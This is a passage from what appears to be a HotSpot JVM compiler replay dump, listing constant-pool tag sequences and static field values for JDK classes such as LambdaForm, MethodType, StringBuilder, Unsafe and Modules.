java/lang/invoke/ResolvedMethodName 1 1 16 10 100 100 1 1 1 1 1 1 1 1 1 12 1 1\nciInstanceKlass java/lang/invoke/MethodHandleNatives 1 1 660 100 10 9 10 100 10 10 10 10 8 8 8 8 8 8 8 8 8 8 7 10 7 10 10 7 10 10 8 10 8 10 8 10 9 8 10 100 10 100 100 8 7 7 10 10 7 9 10 10 10 7 10 10 10 10 10 9 8 10 8 10 8 8 8 100 10 8 10 10 10 100 8 10 7 8 10 8 8 8 8 8 10 10 10 10 10 7 10 100 100 10 10 8 8 10 10 10 8 10 8 8 10 10 100 10 7 9 10 10 10 9 10 9 9 10 10 10 7 7 10 10 10 10 10 8 10 10 10 10 10 10 100 8 10 9 10 10 100 10 10 100 100 10 10 100 100 10 100 10 10 10 10 10 10 10 10 10 10 10 10 8 100 10 10 10 10 10 10 7 10 10 10 10 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 12 1 12 12 1 12 1 12 1 12 1 12 100 12 1 100 12 1 12 1 1 1 1 1 12 1 7 12 12 12 12 1 12 7 12 12 12 12 12 1 12 1 12 1 1 1 1 12 1 12 12 100 12 1 100 12 1 1 12 1 1 1 1 1 12 12 12 12 12 1 12 1 1 12 12 1 1 12 12 1 100 12 1 1 12 12 1 12 1 12 7 12 12 12 12 12 12 12 12 12 1 1 12 12 12 7 12 12 1 12 12 12 12 7 12 12 1 1 12 12 12 1 12 12 1 1 1 1 1 12 12 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 1 12 12 12 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/MethodHandleNatives $assertionsDisabled Z 1\nciInstanceKlass java/lang/invoke/LambdaForm 1 1 1075 100 9 10 10 9 9 10 100 10 9 10 9 10 7 9 9 9 9 10 7 10 7 10 10 10 10 10 10 9 100 10 9 10 10 10 10 10 7 10 10 8 10 10 10 7 10 10 7 10 10 9 9 9 10 9 10 10 100 10 9 10 10 100 10 10 10 10 10 10 10 8 10 10 8 8 9 9 9 10 10 10 9 10 10 10 10 10 10 9 10 8 8 8 8 8 8 8 8 10 9 7 10 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 8 10 10 10 10 8 10 8 8 10 9 10 10 100 10 10 10 10 9 8 10 10 10 10 10 9 8 10 100 10 10 9 9 8 10 10 100 100 10 10 8 8 100 8 10 10 10 8 8 9 10 10 8 8 8 100 8 100 8 100 8 10 8 9 10 10 9 10 10 10 10 10 10 10 10 10 10 8 100 10 10 9 10 8 8 100 8 8 8 8 8 8 8 8 10 10 10 10 8 8 8 10 8 10 8 8 8 8 8 10 10 10 10 10 10 10 10 10 10 10 9 8 10 9 10 9 9 9 9 7 10 9 10 10 7 8 10 9 7 10 8 100 10 9 9 10 7 10 10 10 9 10 10 10 9 10 10 10 9 10 9 7 9 10 9 10 100 10 7 9 100 1 1 100 1 100 1 1 1 7 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 1 1 1 1 3 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 100 1 1 12 12 12 12 12 12 1 12 12 12 7 12 12 12 12 12 12 1 12 1 12 12 100 12 100 12 12 12 12 1 12 12 12 12 12 12 12 1 12 1 12 12 12 1 12 12 1 12 12 12 12 12 12 12 12 12 1 12 12 12 12 1 12 12 12 12 12 12 12 1 12 12 1 1 12 12 12 12 7 12 12 12 7 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 12 12 12 1 12 1 1 12 12 12 12 1 12 12 7 12 12 12 1 100 12 12 12 12 12 12 1 12 12 7 12 12 1 12 12 1 1 12 1 1 1 1 12 12 12 1 1 12 12 12 1 1 1 1 1 1 1 1 1 12 1 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 1 1 12 1 12 1 1 1 1 1 12 12 12 7 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 1 7 12 12 12 12 1 1 12 12 1 12 1 1 12 12 12 12 1 12 7 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/LambdaForm COMPILE_THRESHOLD I 0\nstaticfield java/lang/invoke/LambdaForm INTERNED_ARGUMENTS [[Ljava/lang/invoke/LambdaForm$Name; 5 [[Ljava/lang/invoke/LambdaForm$Name;\nstaticfield java/lang/invoke/LambdaForm IMPL_NAMES Ljava/lang/invoke/MemberName$Factory; java/lang/invoke/MemberName$Factory\nstaticfield java/lang/invoke/LambdaForm LF_identity [Ljava/lang/invoke/LambdaForm; 6 [Ljava/lang/invoke/LambdaForm;\nstaticfield java/lang/invoke/LambdaForm LF_zero [Ljava/lang/invoke/LambdaForm; 6 [Ljava/lang/invoke/LambdaForm;\nstaticfield java/lang/invoke/LambdaForm NF_identity [Ljava/lang/invoke/LambdaForm$NamedFunction; 6 [Ljava/lang/invoke/LambdaForm$NamedFunction;\nstaticfield java/lang/invoke/LambdaForm NF_zero [Ljava/lang/invoke/LambdaForm$NamedFunction; 6 [Ljava/lang/invoke/LambdaForm$NamedFunction;\nstaticfield java/lang/invoke/LambdaForm createFormsLock Ljava/lang/Object; java/lang/Object\nstaticfield java/lang/invoke/LambdaForm DEBUG_NAME_COUNTERS Ljava/util/HashMap; null\nstaticfield java/lang/invoke/LambdaForm DEBUG_NAMES Ljava/util/HashMap; null\nstaticfield java/lang/invoke/LambdaForm TRACE_INTERPRETER Z 0\nstaticfield java/lang/invoke/LambdaForm $assertionsDisabled Z 1\nciInstanceKlass java/lang/invoke/MethodType 1 1 680 7 10 9 9 9 10 9 8 10 10 9 9 10 100 10 8 10 10 10 100 8 10 100 10 10 10 10 11 9 11 7 7 10 10 9 10 10 10 10 10 10 9 7 10 100 10 10 10 10 10 10 10 10 10 8 8 10 9 100 10 10 10 10 10 10 10 10 10 8 10 10 10 10 10 10 10 10 10 9 10 10 10 10 9 7 10 10 10 10 10 10 10 10 100 8 8 8 10 10 10 10 11 11 10 9 10 10 10 10 10 10 10 10 10 10 10 10 9 7 10 10 10 10 10 10 10 8 10 11 9 10 10 10 10 10 10 10 10 10 9 9 10 9 10 7 10 7 7 9 100 1 1 100 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 100 100 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 100 1 1 1 100 1 1 1 1 1 100 1 12 12 12 12 7 12 7 12 1 100 12 12 7 7 12 1 1 12 12 12 1 1 12 1 12 12 12 12 12 12 1 7 12 12 12 12 12 12 7 12 12 12 12 1 12 1 12 12 7 12 12 12 12 12 12 12 1 1 12 12 1 12 12 12 12 100 12 12 12 1 12 100 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 100 12 12 7 12 12 12 1 1 1 1 12 12 12 12 12 100 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 1 7 12 12 12 12 12 100 12 12 12 12 100 12 12 100 12 12 100 12 12 12 1 1 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/MethodType internTable Ljava/lang/invoke/MethodType$ConcurrentWeakInternSet; java/lang/invoke/MethodType$ConcurrentWeakInternSet\nstaticfield java/lang/invoke/MethodType NO_PTYPES [Ljava/lang/Class; 0 [Ljava/lang/Class;\nstaticfield java/lang/invoke/MethodType objectOnlyTypes [Ljava/lang/invoke/MethodType; 20 [Ljava/lang/invoke/MethodType;\nstaticfield java/lang/invoke/MethodType METHOD_HANDLE_ARRAY [Ljava/lang/Class; 1 [Ljava/lang/Class;\nstaticfield java/lang/invoke/MethodType serialPersistentFields [Ljava/io/ObjectStreamField; 0 [Ljava/io/ObjectStreamField;\nstaticfield java/lang/invoke/MethodType $assertionsDisabled Z 1\nciInstanceKlass java/lang/BootstrapMethodError 0 0 45 10 10 10 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 12 12 12 12 12 1 1 1 1 1 1 1 1\ninstanceKlass java/lang/invoke/VolatileCallSite\ninstanceKlass java/lang/invoke/MutableCallSite\ninstanceKlass java/lang/invoke/ConstantCallSite\nciInstanceKlass java/lang/invoke/CallSite 1 1 299 10 10 9 10 9 10 10 100 7 10 7 10 10 10 100 100 10 10 10 8 10 10 10 10 10 10 10 10 9 9 7 8 10 10 100 10 9 8 100 10 10 100 8 10 10 10 100 10 10 10 10 10 9 9 8 10 9 100 10 10 10 10 10 10 100 8 10 10 100 100 100 8 10 10 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 7 1 1 1 1 1 1 12 12 12 12 12 12 12 1 1 12 1 12 12 12 1 1 12 12 1 12 12 12 12 12 100 12 12 12 100 12 1 12 12 1 100 12 12 12 12 1 1 12 12 1 12 12 12 12 12 12 12 100 12 12 1 100 12 12 12 12 7 12 1 1 12 1 1 1 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/CallSite $assertionsDisabled Z 1\nciInstanceKlass java/lang/invoke/MethodHandleNatives$CallSiteContext 1 1 49 10 7 10 10 10 10 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 1 7 12 7 12 12 1 1 1 1 1 1 1 1 100 1 1 1 1 1\nciInstanceKlass java/lang/invoke/ConstantCallSite 1 1 49 10 9 10 100 10 9 100 10 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 12 12 12 1 12 12 1 12 1 1 1 1\nciInstanceKlass java/lang/invoke/MutableCallSite 0 0 67 10 10 9 10 10 10 9 10 10 100 10 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 12 12 12 12 12 12 12 12 100 12 1 12 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/invoke/VolatileCallSite 0 0 41 10 10 10 10 10 10 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 1 1 1 1 1 1 1\nciInstanceKlass java/lang/AssertionStatusDirectives 0 0 24 10 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1\ninstanceKlass java/lang/StringBuilder\ninstanceKlass java/lang/StringBuffer\nciInstanceKlass java/lang/AbstractStringBuilder 1 1 522 7 7 10 9 9 9 9 10 9 10 10 10 10 10 10 10 10 7 3 10 3 100 10 10 100 10 10 10 10 10 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 11 10 10 8 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 18 100 10 18 10 10 10 11 10 10 10 100 10 8 10 10 8 8 10 10 10 10 100 10 100 10 100 10 7 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 100 1 1 1 1 1 1 1 1 1 12 12 12 12 12 7 12 12 12 7 12 12 12 12 12 7 12 1 12 1 12 1 12 12 12 12 12 12 1 12 100 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 7 12 12 12 100 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 15 16 15 16 12 1 100 12 15 12 12 12 12 12 12 1 1 12 12 1 1 12 12 12 1 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 10 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 100 12 12 12 1 1 100 1 1 100 1 1\nstaticfield java/lang/AbstractStringBuilder EMPTYVALUE [B 0\nciInstanceKlass java/lang/StringBuffer 1 1 466 10 10 10 11 10 10 10 9 10 10 10 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 9 10 10 7 10 10 10 10 10 8 10 8 10 8 10 10 10 10 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 10 7 10 9 9 9 7 100 100 100 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 100 1 1 1 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 7 12 7 1 12 100 12 12 1 12 1 12 1 12 12 100 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 1 12 7 12 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/StringBuffer serialPersistentFields [Ljava/io/ObjectStreamField; 3 [Ljava/io/ObjectStreamField;\nciInstanceKlass java/lang/StringBuilder 1 1 403 10 10 10 11 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 9 9 10 10 10 10 10 10 10 10 10 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 10 7 100 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 7 12 7 100 12 12 12 12 12 100 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass jdk/internal/misc/Unsafe 1 1 1161 10 9 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 10 10 10 5 0 10 10 10 10 10 10 10 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 10 10 5 0 5 0 5 0 10 10 10 100 10 10 10 10 10 10 10 10 10 100 10 10 10 10 8 10 8 8 10 9 9 9 9 9 9 9 9 10 10 10 10 5 0 5 0 9 10 10 10 10 10 8 3 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 10 9 5 0 10 5 0 10 5 0 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 5 0 5 0 5 0 10 10 10 10 10 7 10 7 10 9 7 9 7 9 7 9 7 9 7 9 7 9 7 9 7 9 10 9 9 9 9 9 9 9 9 9 10 10 10 7 1 1 1 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 1 12 12 12 1 12 1 1 12 7 12 100 7 100 100 100 100 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 12 12 12 1 12 1 12 1 12 1 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield jdk/internal/misc/Unsafe theUnsafe Ljdk/internal/misc/Unsafe; jdk/internal/misc/Unsafe\nstaticfield jdk/internal/misc/Unsafe ARRAY_BOOLEAN_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_BYTE_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_SHORT_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_CHAR_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_INT_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_LONG_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_FLOAT_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_DOUBLE_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_OBJECT_BASE_OFFSET I 16\nstaticfield jdk/internal/misc/Unsafe ARRAY_BOOLEAN_INDEX_SCALE I 1\nstaticfield jdk/internal/misc/Unsafe ARRAY_BYTE_INDEX_SCALE I 1\nstaticfield jdk/internal/misc/Unsafe ARRAY_SHORT_INDEX_SCALE I 2\nstaticfield jdk/internal/misc/Unsafe ARRAY_CHAR_INDEX_SCALE I 2\nstaticfield jdk/internal/misc/Unsafe ARRAY_INT_INDEX_SCALE I 4\nstaticfield jdk/internal/misc/Unsafe ARRAY_LONG_INDEX_SCALE I 8\nstaticfield jdk/internal/misc/Unsafe ARRAY_FLOAT_INDEX_SCALE I 4\nstaticfield jdk/internal/misc/Unsafe ARRAY_DOUBLE_INDEX_SCALE I 8\nstaticfield jdk/internal/misc/Unsafe ARRAY_OBJECT_INDEX_SCALE I 4\nstaticfield jdk/internal/misc/Unsafe ADDRESS_SIZE I 8\nstaticfield jdk/internal/misc/Unsafe BE Z 0\nstaticfield jdk/internal/misc/Unsafe unalignedAccess Z 1\nciInstanceKlass jdk/internal/module/Modules 1 1 483 10 9 11 11 11 11 11 11 11 11 10 10 18 10 100 10 10 10 10 11 10 10 10 10 9 10 10 10 100 100 11 10 11 10 10 10 10 10 11 18 11 10 11 100 11 11 11 10 10 18 11 18 11 10 18 18 10 9 11 100 10 11 11 100 11 10 100 10 10 10 11 10 100 10 18 10 100 8 10 10 18 11 11 10 10 10 18 10 10 7 10 10 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 100 100 100 100 100 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 12 12 7 12 12 12 12 12 12 12 12 12 100 12 1 15 16 15 16 12 100 12 1 100 12 100 12 12 12 12 12 12 12 12 12 100 12 1 1 12 100 12 12 12 12 100 12 12 12 12 16 15 16 12 12 100 12 100 12 1 12 12 12 12 100 12 16 15 16 12 12 16 15 16 12 12 12 15 16 15 16 12 12 12 1 12 12 1 12 1 12 12 12 12 12 1 15 16 12 12 1 1 12 12 15 16 12 12 12 15 12 1 12 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 10 1 1 1 1 1 1 10 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 10 1 1 10 1 1 1 1 1 100 12 12 12 12 12 12 12 12 12 1 1 100 1 1 1 1 1 100 1 1\nstaticfield jdk/internal/module/Modules JLA Ljdk/internal/misc/JavaLangAccess; java/lang/System$2\nstaticfield jdk/internal/module/Modules $assertionsDisabled Z 1\ninstanceKlass 